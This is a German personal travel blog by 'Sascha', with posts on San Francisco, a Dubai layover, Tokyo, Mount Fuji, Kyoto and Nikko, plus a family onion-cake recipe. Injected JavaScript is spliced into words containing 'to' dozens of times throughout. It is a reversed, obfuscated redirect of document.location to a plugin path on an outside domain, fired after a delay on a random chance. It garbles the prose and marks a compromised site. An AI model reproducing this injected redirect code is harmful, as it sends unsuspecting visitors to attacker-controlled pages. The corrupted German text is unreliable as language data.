Alle Beiträge von Sascha

The Golden Gate

Nachdem ich aufgrund meines Jetlags einen Powernap von ca. 10 Stunden gemacht hab und dann pünktlich um 06.10 aufgestanden bin, habe ich mich zu Fuß auf den Weg gemacht, die Golden Gate Bridge zu besichtigen. Konnte ja vorher nicht ahnen, das ich an dem Vormittag über 20 km durch die Gegend laufe. Allein die Brücke ist ja schon über 2,7 km lang und da ich die andere Seite sehen wollte, musste ich da ja auch zu Fuß rüber. Mein Gott, tuen mir noch die Füße weh.

Auf dem Weg habe ich unter anderem die Gefängnis-Insel Alcatraz sehen dürfen und bin durch das Naturschutzgebiet Golden Gate gewandert, welches unmittelbar an der Brücke liegen.

Danach habe ich dann noch einen Abstecher zum Exploratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium, ein Kunstmuseum, gemacht. In den folgenden Bilder habt ihr mal ein paar Impressionen von der Brücke und Umgebung. Leider kann man die Stimmung, den Geruch, den Wind in den Haaren (die ich nicht mehr habe) und alles darum nicht einfangen.

Dennoch werden Euch die Bilder einen Eindruck vermitteln können, wie riesig diese Brücke ist. Gleich geht es erstmal zu PRIDE. Ein großes Gay-Festival, das, was ich mir habe sagen lassen, auf gar keinen Fall verpassen sollte.

Anreise San Francisco

Hallo Ihr Lieben,

wie ihr wisst, bin ich nun seit einem Tag in San Francisco. Die Anreise ist soweit ohne Probleme gewesen. Einzig die Parkplatz-Suche vor dem Haus meiner Gastgeberin Maritza Schafer hat dann doch etwas länger gedauert. Ich bin um 04.52 Uhr morgens aus Schwelm losgefahren und hab dann in Köln den Zug nach Frankfurt genommen. Dort war dann das erste Highlight der Reise zu sehen. Der A380-800 der Lufthansa. Ein echt schickes Flugzeug. Aber nicht nur von außen ist es schön anzuschauen. Auch von innen gibt es einiges her. Und an alle, die gesagt haben, der Flieger ist richtig leise, den kann ich nur sagen: Es stimmt. Im Innenraum waren die Triebwerke kaum zu hören. Es war tatsächlich so leise, das man in Ruhe hätte schlafen können. Selbst beim Start waren kaum Geräusche zu hören.

In der Luft ist der Flieger absolut gutmütig. So ruhig bin ich noch nie in meinem Leben geflogen. Luftlöcher? Keine gemerkt. Turbulenzen? Hatten wir welche? Ich rate jedem, einmal mit dem A380 zu fliegen! Das ist echt mal ne toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolle Erfahrung.

Selbst den Start hab ich kaum bemerkt, so sanft ist der gestartet. So, aber genug geschrieben, jetzt folgen ein paar Bilder vom Flieger und vom Anflug auf San Francisco aus der Vogelperspektive.

Nachtrag Zwiebelkuchen

Hallo nocheinmal zusammen,

nachdem ich das Rezept des Zwiebelkuchens gepostet habe, ist mir eingefallen, dass meine Mutter diesen auch häufiger für meine Großeltern, Ferdinand und Brunhilde Michalke, gebacken hat.

Mein Opa war nie für Käse zu haben. Eigentlich hat er Käse so ziemlich gehasst. Wenn dann meine Mutti den Zwiebelkuchen für die beiden gemacht hat, hat sie meinem Opa erzählt, dass darin kein Käse enthalten sei. Er ist jedesmal darauf reingefallen. Ihm hat der Zwiebelkuchen herrlich geschmeckt.

Habe Gott sie beide selig.

Mutters Zwiebelkuchen

Heute will ich mal das Rezept für einen Zwiebelkuchen, den meine Mutti immer so macht vorstellen. Er ist für die Zubereitung auf einem Backblech gedacht.

Der Teig besteht aus:

1 Becher süße Sahne (250 ml)

4 Eier (normale Größe)

375g Mehl

1 Tütchen Backpulver

für den Belag benötigst Du:

2 kg Zwiebeln

1 Paket gewürfelter Schinken (z.B. Frühstücksschinken, der wird nicht hart)

2 Pakete gekochter Schinken (runde Scheiben, insgesamt ca. 400g)

2 Eier

2 Becher (2 x 250 ml) Schmand

2 Pakete Scheibletten Käse (nach Geschmack, z.B. Emmentaler)

Öl

Salz, Pfeffer

Kümmel (wer den nicht mag, kann den Kümmel auch weglassen, dient jedoch der Verdauung)

Zubereitung:

Zuerst müsst Ihr den Teig anrühren. Zuerst Mehl, Eier und Sahne anrühren. Danach das Backpulver unterrühren. Ein tiefes Backblech einfetten und den Teig gleichmäßig verteilen.

Danach legt Ihr den gesamten Scheibletten-Käse auf den Teig. Dieser dient später als trennende Schicht zwischen Teig und Zwiebelmasse, so dass der Teig nicht matschig wird.

Jetzt müssen die Zwiebeln in Ringe geschnitten werden. Die Zwiebeln werden zusammen mit den Speckwürfel in einer Pfanne mit Öl so lange gedünstet, bis die Zwiebeln glasig sind.

Zunächst legt ihr den Teig gleichmäßig auf dem Blech aus. Darauf kommen dann der Scheibletten-Käse, der wie Kacheln ganz Dicht nebeneinander gelegt wird. Das Ergebnis sieht dann so aus:zz

Verteilt die Zwiebelmasse auf den mit Scheibletten belegten Teig. Auf den Käse müssen noch die in Streifen (ca. 1 cm breit) geschnittenen Scheiben gekochter Schinken gelegt werden.

Teig, mit Käse und Schinken

Danach wird die Zwiebelmasse gleichmäßig auf das Blech verteilt. Hier das Ergebnis:

Ganz zum Schluss werden die zwei Becher Schmand zunächst mit 2 Eier verrührt und mit Pfeffer, Salz und bei Bedarf mit Kümmel abgeschmeckt. Den abgeschmeckten Schmand verteilt Ihr jetzt abschließend auf dem Backblech, so dass die gesamte Zwiebelmasse mit Schmand bedeckt ist. Wichtig: den Schmand erst unmittelbar bevor Ihr das Blech in den Backofen schiebt, auf das Backblech geben, da sonst der Schmand komplett durch die Zwiebeln durchsickert.

Das Backblech packt Ihr bei 180°C Ober/Unterhitze (160°C Umluft)  für ca. 60 Minuten in den Backofen. Der Schmand sollte eine gold-/gelbene Farbe angenommen haben und schon ist der Zwiebelkuchen fertig.

Wollt Ihr nur einen Zwiebelkuchen in einer Springform machen, so braucht Ihr von allen Zutaten nur die Hälfte. Der restliche Ablauf bleibt dabei dann gleich.

Viel Spaß beim Ausprobieren. Über Rückmeldungen würde ich mich sehr freuen. Ich übernehme jedoch keinerlei Haftung für verdorbene Mägen.

Bis bald,

Euer Sascha

Zwischenstopp in Dubai

Gestern um 21.40 Uhr startete mein Flieger Richtung Dubai, um von dort aus nach Düsseldorf zu fliegen. Die ca. 10 Stunden Flug sind relativ schnell vorüber gegangen. Leider kämpfe ich noch mit der Müdigkeit, obwohl ich einige Stunden schlafen konnte.  Da denke ich doch gerade, ich habe noch Zeit, da fängt auch schon der Boarding für den Flug nach Düsseldorf an. Wenn wir planmäßig starten, bin ich ab 8.40 Uhr in der Luft und lande um 13.45 Uhr in Düsseldorf. Ich freue mich natürlich riesig auf Katja und die Kinder, die ich ja nun schon seit 2 Wochen nicht mehr gesehen habe.So, ich hoffe, ich werde euch bald wieder in den Armen halten. Zum Abschluß noch ein Fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to der Einkaufsmall im Duty-Free-Bereich um 5.10 morgens.

Bis bald Sascha

Nikko Nationalpark

Der letzte Abschnitt meiner Reise hat mich in den Nationalpark rund um Nikko geführt. Dort habe ich in Kinugawa-Onsen in einem traditionell japanischen Hotel, einem Ryokan, meine Unterkunft bezogen. Wenn man schon in Japan ist, so sollte man zumindest einmal diese Art der Unterkunft ausprobieren. Sie ist schlicht und anmutig zugleich. Man liegt zwar (fast) auf dem Fußboden zum Schlafen, aber Reinlichkeit wird ab der Türschwelle groß geschrieben. Weiteres Highlight ist das Onsen, welches sich direkt im Ryokan befindet. Das Onsen ist ein Bad, welches aus einer vulkanischen Quelle ihr Wasser bezieht.

Nachdem ich am ersten Abend Onsen und Unterkunft genossen habe, ging es in den Nationalpark. Zuerst wollte ich mir die Kegon-Fälle anschauen. Die waren jedoch aufgrund eines extremen Nebels nicht zu sehen (Bild oben links). Also habe ich mich auf den Rückweg gemacht, um andere Teile des Nationalparks zu Fuß zu erkunden.

Wie es der Zufall so will, habe ich just in dem Moment, in dem ich aus dem Bus ausgestiegen und zum Bahnhof gegangen bin, Christian wiedergetroffen. Auch er war auf dem “Allein-durchs-Land”-Tripp. So haben wir uns für 2, 3 Stunden zusammengefunden und sind zwei histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torische Wege in Nikko abgegangen. Einfach nur fantastisch, was dieser Nationalpark zu bieten hat. Bäume mit Durchmessern, so dass 3 Mann nicht darum fassen können. Wilde Wasserläufe und inmitten all dieser Dinge immer wieder kulturhistoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torische Schreine, Bauten, Figuren. Hier kann man die ganzen Ferien verbringen, ohne das einem langweilig wird. Aber jetzt könnt ihr auch mal Bilder schauen.

Morgen geht es wieder nach Hause und ich freue mich schon auf meine Lieben. Ich hoffe, ich konnte Euch ein wenig an meiner Reise hier Teil haben lassen.

Kyoto – Teil 2

Am zweiten Tag hab ich mir dann tatsächlich ein Busticket gekauft. Die Wege wären auch viel zu weit gewesen, um da überhaupt noch sinnvoll etwas sehen zu können. Zunächst ging es in den Südosten der Stadt, wo sich der Fushimi-Inari-Schrein, der Hauptschrein aller Inari-Schreine befindet. Er wird auch als Schrein der 1000 Tore bezeichnet. Diese Tore säumen die Wege um den Schrein, die um ihn herum verlaufen. Auf diesen Wegen befinden sich immer wieder kleine Schreine, die wunderbar anzuschauen sind.

Danach ging es zur größten in Japan vorhandenen Pagode im To-ji (Ost-Tempel). Leider war diese für Besucher geschlossen, so dass ich sie mir nur von außen anschauen konnte. Jedoch waren in den Nebenhäusern 15 Buddhafiguren ausgestellt. Da in Japan das Fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tografieren in solchen Räumlichkeiten nicht so ganz gerne gesehen wird hab ich auch nur leider 2 Fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos davon schießen können. Sehr schön war auch ein ritueller Tanz der dort auf einer kleinen Bühne aufgeführt wurde.

Als nächstes Ziel hatte ich den goldenen Pavillon ins Auge gefasst. Als Teil des Weltkulturerbes muß man diesen buddhistischen Tempel gesehen haben. Interessanterweise sind fast alle Holzbauten in Japan nicht mehr Originale. Irgendwann ist fast jedes Gebäude einem Brand zum Opfer gefallen. Im 14. Jahrhundert das erstemal erbaut, handelt es bei diesem Bau im ein Replik aus dem Jahre 1955.

Auch spielt das Abreißen und Wiederaufbauen im Shintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toismus eine große Rolle. So wurden einige Shintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-Tempel alle 20 Jahre abgerissen, um wieder neu aufgebaut zu werden.

Kulturell ist Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ein Juwel in Japan. Doch nach einem so langen Tag (es waren wieder über 20km zu Fuß), wollte ich keine Kultur mehr sehen und habe dann den Rückweg über den Philosophenweg angetreten. Danach bin ich ins Hotel und ab ins Bett, denn den nächsten morgen ging es dann ganz nach Kinugawa-Onsen.

Des Kaisers’ Stadt Kyoto

Heute morgen um 06:46 Uhr hab ich mich mit dem Shinkasen auf den Weg in des Kaisers Stadt Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to gemacht. Die Fahrt mit dem Shinkansen ging, wie erwartet, pünktlich auf die Minute los. Es war zwar kein ultraschneller Nozomi (300 km/h), sondern ein Hakari der 300er Serie (nur 270 km/h). So war ich dann ca. in 2 1/2 Stunden in Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to” target=”_blank”>Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to war 794 bis 1868 die Stadt des japanischen kaiserlichen Hofes und verfügt dadurch an einen Schatz an Kulturdenkmälern.

Nachdem ich um 09:15 Uhr angekommen war, ging es zunächst in die Burg Nijo. Es ist der ehemalige Sitz des Shoguns in Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to und wurde 1601 gebaut. Sie ist in einem herrlichen Zustand und wirklich toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toll anzuschauen.

Danach bin ich dann in den kaiserlichen Garten, der sich vor dem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to” target=”_blank”>imperialen Palast befindet, gegangen und hab dort erst einmal eine halbe Stunde Pause eingelegt. Der Garten ist für die Allgemeinheit zugänglich, nur leider der Palast nicht, so dass ich nur von verschlossener Tür stand und um den gesamten Palast herumlaufen mußte.

Nach ca. 3 Stunden Fußmarsch hatte ich immer noch nicht genug und bin dann einfach durch die Straßen von Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to geschlendert. An fast jeder zweiten Ecke befindet sich ein kleiner Schrein oder Tempel, den man sich auch (kostenlos) anschauen darf. Die Menschen dort sind super hilfsbereit. Es dauerte nie mehr als 3 Minuten, wenn ich mit der Karte nur da stand und schon war jemand da, um seine Hilfe anzubieten. Die Japaner sind in ihrer Mentatität zwar sehr eigen, aber Hilfsbereitschaft steht bei denen an oberster Stelle. Ich brauchte also nie befürchten, den Weg nicht mehr zu finden. Aber hier mal ein paar Impressionen aus den Straßen Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos’.

Es folgten noch zwei große Schreine, die ich mir angeschaut habe und dann war für den ersten Tag genug. Mit ca. 6 Stunden Laufzeit taten mir so langsam die Füße und Beine weh. Also hiess es zu Abend essen, duschen und ab aufs Bett ein wenig nickern. Die Bilder der beiden Schreine, den Shimogamo-jinja Schrein und den Kitano-Tenman-Gu Shrein, möchte ich Euch an dieser Stelle natürlich nicht vorenthalten.Wer mehr über die Schreine wissen möchte, dann einfach auf den Link klicken.

Für morgen ist auch noch einiges geplant. Diesmal werde ich mir aber ein Tagesticket für denn Bus kaufen, den die Sehenswürdigkeiten sind so weit auseinander, dass ich das mit Laufen allen nicht mehr schaffen. Ich leg’ mich jetzt schlafen!  Bis morgen,

Euer Sascha

Herr Fuji

Der Name des größten Bergs in Japan mit 3776 m wird in den Kanji-Schriftzeichen 富士山 geschrieben, dabei steht 富 für Fu, 士 für ji und 山 für san, was in diesem Kontext Berg bedeutet. Um einen Mann höflich anzusprechen, kann auch ein san hinten angehangen werden. Daher ist 富士山 öfter als Herr Fuji übersetzt worden. Weiterhin steht das Kanji-Zeichen 山 auch für yama. Selbst im Duden existiert noch die Bezeichnung Fujiyama für diesen Berg.

Für mich sind die drei Zeichen ein Männchen (富), dass ein Kreuz (士) auf den Berg (山) gebracht hat. Das ist meine Eselsbrücke für diese drei Zeichen.

Warum jetzt das Ganze? Ich war heute das erstemal so weit von Tokyo weg, dass die Japaner entweder nur wenig oder kein Englisch gesprochen haben und zweitens alles nur noch in japanischer Schrift geschrieben stand, so dass ich mir eben diese Eselsbrücken bauen musste, um wenigstens ans Ziel zu gelangen.

Das habe ich dann letztlich auch noch geschafft. Ja, ich war am Fuji, wie man dem Ganzen vorangegangenem entnehmen kann. Und ich muß sagen, es war einfach fantastisch. Die Bilder spiegeln nicht im geringsten die monumentale Größe dieses riesigen Berges wieder. Selbst wenn man mehrere 10 km entfernt steht, muß man noch nach oben schauen, um ihn ganz zu sehen.

Am Fuße des Berges bin ich für mich so 3-4 Stunden um einen Bergsee gewandert. Die Impressionen dazu könnt ihr Euch gerne in den Bildern anschauen.

Morgen geht es dann endlich nach Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to. Ich freue mich schon, Euch einen neuen Reisebericht zu schreiben. So, jetzt muss ich so langsam den Koffer packen, denn morgen geht es um 06:10 mit dem Zug los.

Bis bald,

Euer Sascha

Roppongi Roppongi Alarm

Gestern ging es nach Roppongi, dem Szene-Stadtteil von Tokyo. So haben es zumindestens zig Touristen gesagt. Roppongi ist auf jedenfall groß, laut, jung, modern und besonders unangenehm, extrem aufdringlich. An jeder Straßenecke stehen Promoter, die versuchen Opfer in die Clubs zu zerren. Derweilen so aufdringlich, dass die ganze Blocks weit mit einem gegangen sind und ständig auf einen eingeredet haben. Wir haben uns dann in ein japanisches Restaurant geflüchtet, wo wir dann noch etwas gegessen haben.

Danach sind wir noch ins HUB und dann ging es direkt nach Hause. Da die Typen so aufdringlich waren, bin ich nicht dazu gekommen, Bilder zu machen. Dafür entschädigt aber der Tokyo-Tower, der dem Eiffelturm nachempfunden ist.